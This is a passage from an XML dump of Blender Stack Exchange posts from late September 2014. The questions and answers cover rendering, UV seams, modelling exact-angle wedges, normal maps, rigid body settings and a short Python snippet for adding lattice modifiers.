&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you proxy an armature/mesh group then you cannot add the RB settings, you can only add a force field or RB constraint. To make things trickier - it is a deforming mesh as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone know a way around this limitation? Appending the character is not an option (then we will lose any updates to the character).&lt;/p&gt;&#xA;" OwnerUserId="6268" LastEditorUserId="2217" LastEditDate="2014-09-29T22:32:26.537" LastActivityDate="2014-09-29T22:32:26.537" Title="Proxied armature groups participating in rigid body simulations" Tags="&lt;rigid-body-simulation&gt;&lt;linked-data&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16289" PostTypeId="1" AcceptedAnswerId="16290" CreationDate="2014-09-29T22:54:46.987" Score="4" ViewCount="11754" Body="&lt;p&gt;So this may be a noob question, but I've got a video set up with nodes, and I go to render, but blender makes 2 passes, one is the scene (which had been previously used for smoke simulation but doesn't have anything in it now) and then the compositor. It slows it down a lot, and I can't find anything online about how to only render one part of the blender project, wether it be the 3D scene, the node compositor, or the VSE. Help please?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2017-02-22T02:28:24.953" Title="render only composite" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;video&gt;&lt;node-editor&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16290" PostTypeId="2" ParentId="16289" CreationDate="2014-09-29T22:59:16.080" Score="8" Body="&lt;p&gt;Delete the renderlayer node from the node setup, and then blender won't render the 3D scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is anything in the VSE or the compositor,  by default blender will prioritize rendering it over rendering the scene unless you explicitly disable it in the render settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CVzQc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;em&gt;use nodes&lt;/em&gt; is enabled, then blender will only render the 3D if it's needed for the composite. (i.e. there is a renderlayer node using the scene as input)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-29T22:59:16.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16291" PostTypeId="1" AcceptedAnswerId="16293" CreationDate="2014-09-30T00:07:14.050" Score="1" ViewCount="451" Body="&lt;p&gt;I'm pretty new and want to mark some seams, but it won't let me mark them on certain edges and I don't know why. See image for what I'm talking about. It is an incomplete mark seam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, guys!&#xA; &lt;img src=&quot;https://i.stack.imgur.com/5Uu94.jpg&quot; alt=&quot;incomplete seam&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6271" LastActivityDate="2014-09-30T00:23:11.173" Title="Incomplete Seam Marking" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16292" PostTypeId="2" ParentId="16285" CreationDate="2014-09-30T00:08:01.707" Score="5" Body="&lt;p&gt;This usually happens on lower end machines. One fix is to open the preferences view in an already open window (such as the 3d view or timeline) instead of creating one via the &lt;em&gt;File&lt;/em&gt; menu.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-09-30T00:08:01.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16293" PostTypeId="2" ParentId="16291" CreationDate="2014-09-30T00:23:11.173" Score="1" Body="&lt;p&gt;Inspect your model for duplicate vertices and zero area polygons and vertices which are near each other yet do not share a face.  Duplicate vertices are sometimes created by extrusion operations .  You may move  vertices to see if  duplicates are in the same location.  Alt-Clicks should select vertex sequences which can be moved and thus inspected.  Look at the model in wireframe mode and check the vertex count which is displayed at the top in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have little time investment in the model consider starting from scratch.  Sometimes for simple models this is faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has a UV Unwrap failed?&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-09-30T00:23:11.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16294" PostTypeId="1" CreationDate="2014-09-30T00:46:42.300" Score="2" ViewCount="4145" Body="&lt;p&gt;In other 3d modeling software I've used, it is very easy to create shapes with specific dimensions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a wedge with angles of 30 (at the smallest angle) 60 (at the middle sized angle) and 90 degrees, drawn in sketchup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GdCuo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I model the same thing in blender? I can deform a cube to be a wedge, but the angle is not exactly 60 degrees&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J1XgN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="3401" LastEditDate="2014-10-01T03:13:02.133" LastActivityDate="2014-10-01T03:13:02.133" Title="Make a triangle with exact dimensions" Tags="&lt;dimensions&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16295" PostTypeId="2" ParentId="16294" CreationDate="2014-09-30T04:25:08.413" Score="3" Body="&lt;p&gt;There are a couple of techniques I can think of, but sadly I can not think of any really easy ones;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;For a equilateral triangle I start with a circle and reduce the number of vertices to 3. Each angle is 60 degrees, and the prism can be projected from there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A quick, easy and slightly inaccurate way it to turn on the Edge Angle. Add a cube to the 3D View and Tab into Edit mode, merge two of the vertices into the ones below them. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/9Wj8C.png&quot; alt=&quot;The modified cube from above&quot;&gt;&#xA;In the 3D View turn on the N Panel (by pressing N), and scroll down until you find &lt;strong&gt;Mesh Display&lt;/strong&gt;, within that there will be the &lt;strong&gt;Edge Info&lt;/strong&gt;, which has Angle and Tick the box.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BtRxg.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Then, for the example above, just slide the two right most vertices along the X axis, until the numbers read the desired value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For accuracy you can use some trigonometry to work out the distances from the angles you want and then extrude from a single vertex. Asumming that the edge Adjacent to the angle is 1, then the edge opposite should be tan(θ), where θ is the angle in degrees or radians depending on where you do your maths. See &lt;a href=&quot;http://www.mathsisfun.com/algebra/trig-finding-angle-right-triangle.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mathsisfun.com/algebra/trig-finding-angle-right-triangle.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="605" LastActivityDate="2014-09-30T04:25:08.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16296" PostTypeId="2" ParentId="16274" CreationDate="2014-09-30T05:09:22.107" Score="3" Body="&lt;p&gt;I started off by adding the image you posted as a material texture on a plane that was UV un-wrapped using the default option that shows up at the top of the list which is called Unwrap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I unchecked the Color channel for this texture and used the Normal Channel instead.  Sometimes when adding a color or greyscale texture as a bump map will cause the effect to look inverted so if this happens then you can use a value of -1.0 instead of 1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image at the left is the Tangent map I baked that captures the bump map as surface normals.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eF0Vj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was some noise in the baked image so I saved it and opened it with GIMP and blurred the tangent map using Gaussian Blur set to 10 pixels.  Now I reloaded this tangent map into Blender and replaced the image that you posted and changed the Mapping Type to Normal Map-&gt; Tangent.  I also changed the -1.0 to +1.0 for the Normal value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is now what it looks like after the blur.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JVyBo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simple planes like this, it's fine to blur the normal map but for complex objects this will not work well since the seams will become immediately obvious even for a very subtle blur.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I forgot to mention is that normal maps that are saved as .png are in sRGB format and if you plan to use Cycles then they should be set to non-color format.  It doesn't seem to matter for Blender Internal View-port drawing.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-09-30T05:09:22.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16297" PostTypeId="2" ParentId="16270" CreationDate="2014-09-30T05:53:20.720" Score="2" Body="&lt;p&gt;To my best knowledge, your first assesment on having the shape keys be driven by bones or other control objects is correct. That is to say, shape keys can be controlled with drivers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often with corrective shape keys you've a setup where the shapes are driven &quot;behind the scene&quot; by the bone transforms. In case you require manual control over the shape keys, you can create a proxy for the controlling object in the scene you linked to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be interested in reading up on &lt;a href=&quot;http://www.blender.org/manual/animation/basics/drivers.html&quot; rel=&quot;nofollow&quot;&gt;drivers&lt;/a&gt; and checking this vid on &lt;a href=&quot;https://www.youtube.com/watch?v=hc6apFdmQOQ&quot; rel=&quot;nofollow&quot;&gt;proxies&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2014-09-30T05:53:20.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16298" PostTypeId="2" ParentId="16275" CreationDate="2014-09-30T06:22:57.223" Score="-2" Body="&lt;p&gt;&lt;strong&gt;Join&lt;/strong&gt; your objects. Control-J. See below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For mathematical recreations you might see the link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Rodrigues%27_rotation_formula&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Rodrigues%27_rotation_formula&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider free online books from your library if possible.&#xA;Computer Graphics, 3D Computer Graphics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Immediate Results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(01) Create a suitable emitter mesh for placement of your objects.  Duplicate your pointer object as archive .. Make mesh data single user.  Use Particles on emitter mesh with your object with a suitable center ..Particles will not copy constraints.  Set emission number to your taste.  See Blender Particles online educational videos if necessary on a video internet site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(02) [Convert] Particles to Real Objects under Modifier Tab. You will have many new objects selected for user convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(03) Group the new objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(04) Add Constraint Track To on a single object of group .. the active object. Select whole group keeping the Active Object and ......[Copy constraints to selected objects].  You will have many objects pointing to the same target.  You may move target or group as whole to test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your computer has enough CPU Power I would stop at this step.  You might want to list the specs of your computer.  Many people use track to constraints ... they are dynamic and flexible and appreciated.  A couple of [Track to] constraints are your friends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(04.5) If you cones are placed already ... you can use them in the next step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(05) If it suits your tastes [Join] the objects of the group.  You will have one complex mesh composed of the original of the cones.  Join is Control-J in object mode .. See Blender menus.  You will have one [track to] constraint.  You can remove the constraint and rotate the complex mesh into place on last time ..since the mesh will move when the constraint is deleted.  Now there are now zero [track to] constraints.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1OL0E.png&quot; alt=&quot;particle emitter, cone, target, joined cones in green, and a duplicate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider dupligroups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image above is an emitter mesh, red cube target, original gold cone with constraint, backup of cone, particle system, converted particles in green and a copy to show that it is now a single mesh&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-09-30T07:03:23.677" LastActivityDate="2014-09-30T07:03:23.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16299" PostTypeId="2" ParentId="16264" CreationDate="2014-09-30T08:07:49.683" Score="3" Body="&lt;p&gt;Modifiers can be easily added using python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;target_lattice = bpy.data.objects['Lattice']&#xA;&#xA;for obj in bpy.data.groups['Group'].objects:&#xA;    new_mod = obj.modifiers.new(type='LATTICE', name='Lattice')&#xA;    new_mod.object = target_lattice&#xA;    new_mod.strength = 0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of all objects in a group you can use the selected objects with &lt;code&gt;bpy.context.selected_objects&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By changing &lt;code&gt;type='LATTICE'&lt;/code&gt; you can add any modifier you want. Each modifier has different property names which can be seen in tooltips when python tooltips are enabled.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-30T08:07:49.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16300" PostTypeId="2" ParentId="16294" CreationDate="2014-09-30T08:31:15.933" Score="0" Body="&lt;p&gt;The simplest way to model a wedge in Blender is to start with a plane mesh object. Select two adjoining vertices, and duplicate them by pressing SHIFT-Dkey. Leaving the duplicated faces selected, select the other two vertices, and make a face. Change the pivot point to &quot;Active element&quot;, and align the view so that the you are looking at what will be the side of the wedge. Enter rotate mode by pressing the &quot;R&quot; key, and enter the numeric value of the desired angle of the wedge. If the wedge is formed in the wrong direction, press the minus key. Make faces on the base, and two triangular sides of the wedge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[NB: As an exercise in writing, I wanted to write this so it was clear enough to follow the directions without screenshots, though I didn't intend to not provide them. They will follow. I originally posted a method based on cylinders, which is described below. Although the one above is more versatile, there have been a few times when it would not have been as convenient in my workflow on the particular project at the time, so I have added the method above, instead of using it to replace the method below.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it turns out, a 30-60-90 degree triangle is trivial. Add a cylinder with three edges, and closed ends. Choose the two vertices that define an edge between the top and a side, set the pivot point to &quot;median&quot;, extrude the two points, and merge them in the center. Repeat the process for the two vertices on the opposite edge of the four sided face. Make a face from the two vertices you created, and the pair of the vertices you did not extrude from, and a face between the created vertices and the two vertices on one of the edges that you did extrude from. Delete the pair of vertices on the corner you extruded from which you did not use to make a new face. You now have a 30 / 60 / 90 degree wedge. You can use this created wedge to make 15, 7.5, and 3.75 degree wedges by subdividing the small edge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For wedges with other angles, change the number of vertices of the starting cylinder. Suppose you wanted a wedge of 12.5 degrees. Twice 12.5 is 25, and a cylinder with 72 vertices, will have and angle between adjacent vertices of 5 degrees, and the angle between on vertex and the fifth vertex away is 25 degrees. Create a capped cylinder of 72 vertices, selecting &quot;triangle fan&quot; as the cap type. Select all of the vertices of the cylinder,  deselect the center vertices of the top and bottom caps, the two vertices defining one of the edges on the perimeter of the cylinder, and the two vertices defining the fifth edge (not counting the starting edge) from the first one around the cylinder, and deselect the two vertices that define that edge. Delete all of the remaining selected vertices, and you will be left with the two sets of three vertices which define a 25 degree angle, one directly above the other. Make faces along both sides of the angle. On the open end, select the top pair and bottom pair of vertices separately, set the pivot point to median, extrude the vertices, and merge the extruded vertices at the center. Join the two newly created vertices with one of the original edges, and delete the other. Make the necessary faces, and you have a 12.5 degree wedge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By choosing the right number of vertices for your starting cylinder, most, if not all wedge angles can be created.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-10-01T03:08:51.193" LastActivityDate="2014-10-01T03:08:51.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16301" PostTypeId="2" ParentId="16266" CreationDate="2014-09-30T08:55:48.743" Score="2" Body="&lt;p&gt;I have seen results like this after adding new geometry to an object with a multires modifier. It seems having flipped normals contributes to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As your learning, I suggest you delete the multires, go into edit mode and select all vertices, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to re-calculate the normals, add a new multires modifier then re-sculpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep your sculpt data the only fix I can come up with is to apply the multires, go into edit mode, select the stray vertices and use smooth to bring them back into place. Press &lt;kbd&gt;W&lt;/kbd&gt; and select smooth or find Smooth Vertex in the spacebar menu, then use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to keep repeating the last step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I found a way to reliably re-create the issue so will report a bug.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-30T08:55:48.743" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16302" PostTypeId="2" ParentId="16294" CreationDate="2014-09-30T09:25:56.693" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an arbitrary triangle:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable vertex Snap mode&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the pivot point to 3D Cursor&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the 3D Cursor to one of the vertices ( I have choosen vertex (a) in the image below):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fe3eB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select Vertex (c) and snap it to vertex (b)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;R&lt;/kbd&gt; 60&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6SQgs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now the angle at vertex (a) has exactly 60°&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-30T09:25:56.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16303" PostTypeId="1" AcceptedAnswerId="16312" CreationDate="2014-09-30T09:32:25.273" Score="2" ViewCount="1131" Body="&lt;p&gt;I am building a system which takes user input from keyboard and does some animation. Couldn't find a tutorial explaining how to create something like that.&lt;/p&gt;&#xA;" OwnerUserId="6154" LastActivityDate="2014-09-30T20:57:29.947" Title="How to creata a text input field in BGE" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16305" PostTypeId="2" ParentId="5593" CreationDate="2014-09-30T12:29:55.820" Score="13" Body="&lt;p&gt;For cycles you can find many materials in &lt;a href=&quot;http://www.blendswap.com/&quot; rel=&quot;noreferrer&quot;&gt;Blendswap&lt;/a&gt;. Here you have some users who provide many materials, most of them procedural materials without images, just with node setups:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendswap.com/user/elbrujodelatribu&quot; rel=&quot;noreferrer&quot;&gt;Elbrujodelatribu&lt;/a&gt; (me)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendswap.com/user/moony&quot; rel=&quot;noreferrer&quot;&gt;Moony&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blendswap.com/user/kaluura&quot; rel=&quot;noreferrer&quot;&gt;Kaluura&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;And the Meta-Androcto library &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZzqB1.jpg&quot; alt=&quot;metals pack in blendswap&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6276" LastEditorUserId="395" LastEditDate="2015-06-13T14:03:38.667" LastActivityDate="2015-06-13T14:03:38.667" CommentCount="0" CommunityOwnedDate="2014-09-30T12:29:55.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="16306" PostTypeId="1" CreationDate="2014-09-30T15:13:47.557" Score="2" ViewCount="1085" Body="&lt;p&gt;I would like to have a number of active RB objects set to animation so that they do not fall until their respective animation check-boxes are key-framed off.  For a few objects, this can be done manually, one-by-one.  My objective is to have perhaps hundreds of such objects with their respective key-frames corresponding to certain actions in the scene.  For example, as an animated object gets close to one of the RBs, the RB's animation check-box gets keyed off and the object falls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a driver be used but reacting based on distance from the RB instead of some rectangular coordinate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5799" LastActivityDate="2014-10-02T11:46:37.450" Title="Sequentially Enable Rigid Body Control" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16307" PostTypeId="2" ParentId="16192" CreationDate="2014-09-30T15:49:38.703" Score="0" Body="&lt;p&gt;I found the object. I set the clamp size to 100 and now I can see it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LddOh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I have to consider regarding the size?&lt;/p&gt;&#xA;" OwnerUserId="6211" LastActivityDate="2014-09-30T15:49:38.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16308" PostTypeId="1" CreationDate="2014-09-30T15:58:36.613" Score="22" ViewCount="77673" Body="&lt;p&gt;I've just got into Blender, and I like it a lot. But as I just switched from a stationary computer to a MacBook, I've got some new problems regarding the numpad. I can use 1-9 perfectly, But I have no idea how to emulate buttons like &lt;kbd&gt;/&lt;/kbd&gt; (used to enter local view). I've searched the web for an answer, but I can't find any. &lt;/p&gt;&#xA;" OwnerUserId="6279" LastEditorUserId="599" LastEditDate="2014-09-30T17:22:01.500" LastActivityDate="2021-03-15T21:25:54.547" Title="How to use numpad / on a keyboard without a numpad?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;shortcut&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16309" PostTypeId="2" ParentId="16308" CreationDate="2014-09-30T17:18:40.113" Score="24" Body="&lt;p&gt;When &lt;a href=&quot;http://blender.org/manual/preferences/input.html?highlight=emulate%20numpad#numpad-emulation&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Emulate numpad&lt;/em&gt;&lt;/a&gt; is enabled in &lt;em&gt;User preferences &gt; Input&lt;/em&gt;, &lt;kbd&gt;\&lt;/kbd&gt; (often the key below the &lt;kbd&gt;&amp;#10229; Backspace&lt;/kbd&gt; key) will act as &lt;kbd&gt;numpad /&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.8x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b9omf.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b9omf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender 2.7x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rLjUy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Emulate numpad&lt;/em&gt; will also make the number row above the main keyboard act like the numbers on the numpad.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="31447" LastEditDate="2020-02-18T18:28:41.693" LastActivityDate="2020-02-18T18:28:41.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16310" PostTypeId="2" ParentId="16306" CreationDate="2014-09-30T17:34:47.627" Score="2" Body="&lt;p&gt;You can use &lt;em&gt;Deactivation&lt;/em&gt; for this instead. Make the rigid body objects that you want to enable sequentially &lt;em&gt;Active&lt;/em&gt; with &lt;em&gt;Deactivation&lt;/em&gt; and &lt;em&gt;Start deactivated&lt;/em&gt; enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FDpcU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rigid bodies will then start stationary, and only activate if another rigid body comes close to them. Even an animated rigid body can activate them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/ImmaterialDampArthropods&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/ImmaterialDampArthropods.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.527" LastActivityDate="2014-09-30T18:02:47.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16311" PostTypeId="1" AcceptedAnswerId="16327" CreationDate="2014-09-30T18:28:19.360" Score="1" ViewCount="540" Body="&lt;p&gt;So I'm making an animation where I want about a dozen or so objects which all look the same to change their color, but with each object doing it at a different point, making a kind of swipe color change effect. But I don't want to make a bunch of different materials and animate each individual one. Help Please?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-10-01T21:16:30.673" Title="Offset animated color change over many objects?" Tags="&lt;animation&gt;&lt;materials&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16312" PostTypeId="2" ParentId="16303" CreationDate="2014-09-30T20:57:29.947" Score="1" Body="&lt;p&gt;This requires you to be comfortable with Python, but you could use the BGUI: &lt;a href=&quot;https://github.com/Moguri/bgui&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Moguri/bgui&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an example file that comes with the download that can help you get started.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-09-30T20:57:29.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16313" PostTypeId="1" AcceptedAnswerId="16314" CreationDate="2014-09-30T21:42:01.590" Score="3" ViewCount="1051" Body="&lt;p&gt;I have a black dot in my scene view (it is floating in world position) which I can't delete and I have no clue how it occured:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ylTrw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This dot is only visible when I have selected the armature, but I can't manipulate this black dot with any bones in any way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I duplicated this model from my base model and saved it in another file to create seperate animations, then I noticed this black dot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered a similar problem? &lt;/p&gt;&#xA;" OwnerUserId="6281" LastEditorUserId="12" LastEditDate="2014-09-30T23:16:37.440" LastActivityDate="2014-09-30T23:16:37.440" Title="Mysterious Black Dot" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16314" PostTypeId="2" ParentId="16313" CreationDate="2014-09-30T22:26:30.837" Score="3" Body="&lt;p&gt;It's a grease pencil layer. You can delete it in the Properties Panel (press &lt;kbd&gt;N&lt;/kbd&gt; in 3D View to open/close). Select the Armature and click on the &quot;x&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aOK6f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-09-30T22:26:30.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
